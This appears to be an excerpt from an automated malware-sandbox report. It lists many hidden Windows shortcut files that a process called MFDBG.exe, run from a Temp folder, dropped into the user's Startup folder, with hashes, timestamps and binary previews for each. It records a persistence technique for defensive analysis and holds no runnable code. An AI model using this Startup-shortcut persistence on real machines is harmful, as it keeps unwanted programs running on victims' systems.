Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....q..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fc242fdc2f874367ba93f4d856344845.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9383235978566065
Encrypted:	false
SSDEEP:	24:8BhBfJe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xF0R6rMhpBoUBxdRd1nYyg
MD5:	667BE274176155D1EEFCF8C9368515C2
SHA1:	8DD45D72A32A7962532CA4D7BC46D2167C177311
SHA-256:	ED51863F236F4DAA1A82A167DFC1BD40BE621884ACB8D98563D3A2B980487303
SHA-512:	E79DCEBF56E0B671383BD9B3A91856AB3D99BDFD2C50C2304114FAEC639E297FAB09809BCBEBF09DAC7A837055BB7E96CF3A63FDF2F15FA8E03756F43C74CF71
Malicious:	false
Preview:	L..................F...."...]W%.{...NUb.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....].\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fc44f9292ccf4d1ead70ab5716374224.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942168996954933
Encrypted:	false
SSDEEP:	24:8+hBfP48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8UH90R6rMhpBoUBxdRd1nYyg
MD5:	C03A8F3E159A89B897C622227C489DD6
SHA1:	526270E70E700347BA22412BB949F202A3931603
SHA-256:	99C1258868D84D63F8C52AEAA5428972BA06C0B77C8B563495E8E8F5A913D4B1
SHA-512:	5924DC39BE889EB8A2FB4335A566DB702D06272631E73AAD8F23C7AC77F69438FD2DAD694663C471A74C7A53B98B2B1EC9B57629B11A59C2C452A819FBD78C90
Malicious:	false
Preview:	L..................F...."...]W%.{....'.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....x .\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fc4da1e4dc0e42809919ec721c4aa1cf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932975646037057
Encrypted:	false
SSDEEP:	24:8ehBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:803C0R6rMhpBoUBxdRd1nYyg
MD5:	CC399E3D6AC506AF04E6E3C216FB8CAB
SHA1:	75BF5396CCC68C5B42ACAA627CE5AD914AFEB0E6
SHA-256:	FE02538438B01B630C8DED9E45C05E1A8DA19A4D5F7A250DA3B3345E7F2D5884
SHA-512:	F1E4E856708A2377B74E1125E49CC31E0D4EF354F0D15BDB255C3A7D8637959FFE5C26EF2B61DD4E8137E616564B85E6B376F885BE4D8796E96A7D03DEE8E505
Malicious:	false
Preview:	L..................F...."...]W%.{...kY..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...22..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fc58de2bd70c4166a41b792de69d047e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933935536190223
Encrypted:	false
SSDEEP:	24:80hBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82G0R6rMhpBoUBxdRd1nYyg
MD5:	6270088959C09BBE4021F4504D371AA8
SHA1:	E3082432AA63D2953D379D6333E7DC42FBBC3D83
SHA-256:	FE438CCAAF1CD8D48F6735E0413A1EA7CD804181A1EF85A77429C1BDED7C0960
SHA-512:	5244FA08F6683607E38C3520DF3F7B905C63CEA7FB030C14DD78706697C6432EF020CBD9C7E2D89168DD12584EB3C2B8B6795C6D45C5FA6CF56299567C19F96B
Malicious:	false
Preview:	L..................F...."...]W%.{...(.&.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....%..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fc6a04b85f4742d18761c1c44171709b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933410504584615
Encrypted:	false
SSDEEP:	24:8bhBfGI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8fuIT0R6rMhpBoUBxdRd1nYyg
MD5:	531BE7AC62F81FDE36B098AC5837897C
SHA1:	24999494179EFB91CF2B40D439C67AA5FA01D8EC
SHA-256:	2DC362289BA43BE9C1DC809BF1D30D3C5AF84CB5F4150F32721C0213DC919FCF
SHA-512:	7D88C78F0876844ED261A5CFFC3008B2E15D7FE5F3C320BB6503BF0E3DA26EA6FF87A443D7E8C207E7329A6703408108A0F943CDC6CB254F5F5FA7D72EE784D7
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...w...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fcaea971f3614df3b46f3787237996ba.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941591885032419
Encrypted:	false
SSDEEP:	24:8yhBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84n0R6rMhpBoUBxdRd1nYyg
MD5:	40BEE9851744F3152B40F092D3A44BBD
SHA1:	7776DFCD19EA2DB09CAC1D2B0456408F46767F10
SHA-256:	28AF15282829A6EB152CB6F105C6C699B49FB7379801CF34082352018D0C207F
SHA-512:	440AED78145541EB0B378481933578E19E8950B0A552A7D7A9982BE8620C107ADDBFC0A01B32FC90003AC2F60BE3357C97395D6987ECC31C7EC6AF6BB10EDC20
Malicious:	false
Preview:	L..................F...."...]W%.{....~..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fcbd6f8c8aec442abee7e3f5d14e845c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9436099414689405
Encrypted:	false
SSDEEP:	24:86hBfT8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wo0R6rMhpBoUBxdRd1nYyg
MD5:	2ADF2BA0166E15350F1DDA5CB4136E94
SHA1:	D0B7BAA224A9330912149218E119535C316D6B25
SHA-256:	4BCB3DE45926C0410CFDCC8BB31A823DB1F65BB6D4EE082B58691A4DB88D510D
SHA-512:	C6DB438780412455475E0A8A5917F3588A7DD40FE280449DDA8F855CF14918A1E032FC46579814E3E9CAA9E5852F21059DF0A3A6C0195548BD354DB965E0300B
Malicious:	false
Preview:	L..................F...."...]W%.{...*...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fcbf874b8a964199a56ff2ea752269dc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936357594900744
Encrypted:	false
SSDEEP:	24:8CGhBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CMlc0R6rMhpBoUBxdRd1nYyg
MD5:	7FDAA164F890637699E2A75DFD757516
SHA1:	F2E6741C89C88A3C04B2E2EADCB4639C463C7340
SHA-256:	D7330F06B6085054D8FD10F9874FB1057D90FA1CCBDCF7FCF933BC687431CC77
SHA-512:	9BEA7A07E66C1FA73121D0C5267DF9787B1D2961D5EB0293F08921ABC748C4967EE8591BC4B56924D22EA7C775BD16F2B168CD5AB13D01B1B56536EF9222EB92
Malicious:	false
Preview:	L..................F...."...]W%.{....x..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fcdecea6209c4159a6ad4d17abc33f4b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:11 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933901086835768
Encrypted:	false
SSDEEP:	24:8ohBfM8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8qx0R6rMhpBoUBxdRd1nYyg
MD5:	58525D0CD332C8F8FB19301F77F2B0A2
SHA1:	550EE9BE42837CB0D8D067E13F23E1679F5AEC5E
SHA-256:	670ABF462E6AF4E21776E38F4BF8B5CFABC15BA1D42E1A4D86D1B5A8999089A6
SHA-512:	A0E86C3184483AA00BFE654A959D9FA15958ECC41238F9FF326550AD60E8090C5E5568C8AF4C34C6C93823267707B3D39056B122D33ADA521C1A903D6BAE1AB5
Malicious:	false
Preview:	L..................F...."...]W%.{.....:.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....:.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fcf8d790abbc41a78602a0d98dcba51a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:08 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9368826533425985
Encrypted:	false
SSDEEP:	24:8NhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8te0R6rMhpBoUBxdRd1nYyg
MD5:	ADFED5951D7989BBC81DFB0150934A48
SHA1:	4C962E9D892822B6686C7353927F46B8A8EA6633
SHA-256:	B47235FACA2272913206A8FCB40865AAB64593D070800460A752CE16DB6FE3B8
SHA-512:	9109D347EE6DF639220927EE0F05AA170FABD358DD1E7DF0AB17210C2C710947A5D1E647A1C08A904537C6F761B91680C9E3AF5CB2A2C13B9FDB5BEFF91086B4
Malicious:	false
Preview:	L..................F...."...]W%.{...5.u.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fd30e8814c1e478c99f0123a42860820.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942819988207057
Encrypted:	false
SSDEEP:	24:8YhBfk8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86p0R6rMhpBoUBxdRd1nYyg
MD5:	1670E71C3B74410EF04AEF4E5DF808DE
SHA1:	4DA1C2F11C7ECF62FC6FFF3DEFE2AD612FEFF803
SHA-256:	4B9CB7F3CAB73588E79793EDE7C505482810330A2FEE500CB117B14BC11C6E61
SHA-512:	CE6D0BE578C957730B06F4F831ED093C9575199596FEAC006EB3C83FA8938C44A55F7DC362691297FD03159F5C477AE50C55CC364760EB4021B467E700407044
Malicious:	false
Preview:	L..................F...."...]W%.{...$"..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fd65c9e76b2d4c35a2480bd50efb9093.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937695365678459
Encrypted:	false
SSDEEP:	24:8PhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8TC0R6rMhpBoUBxdRd1nYyg
MD5:	78999889EC03CE2E6C083B6B6C83ADE0
SHA1:	463FE530924C06B343B61B401B1016D771D91AC6
SHA-256:	5141CE0296EE53F45926C0EE4DD80EFF66A9FDFBDA6CBC0FB3522A474B584985
SHA-512:	7E7DEC7719AC57DD61054FD256BA238D465871E6FB1F6FC6A6B23832BC0E87962CA6F73455F468326C05A6DEB5A563A8ACB57C933CA863D0129691332B534B7B
Malicious:	false
Preview:	L..................F...."...]W%.{....C:.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....7.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fd8c0fc36a9841039b7a1bad72fcc1f7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9343674524859695
Encrypted:	false
SSDEEP:	24:8/hBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8jD0R6rMhpBoUBxdRd1nYyg
MD5:	1D7898EEB5AA838492A544FF84F868AB
SHA1:	FDEF70E8C3ED8DE797F27A2FD47A2CBC10687528
SHA-256:	65CE82D926312A2234DF04FB47B40A4AAA17777FB5757BCEE549068974D01413
SHA-512:	CD5F5FC8D60FCE9725AB18C231A14509ADC834225281AC606286B1AA828EF37CEE3669D5DA94EF5E265AC7231EBD7932DFDB50FC82051F193B0D7692DB45A578
Malicious:	false
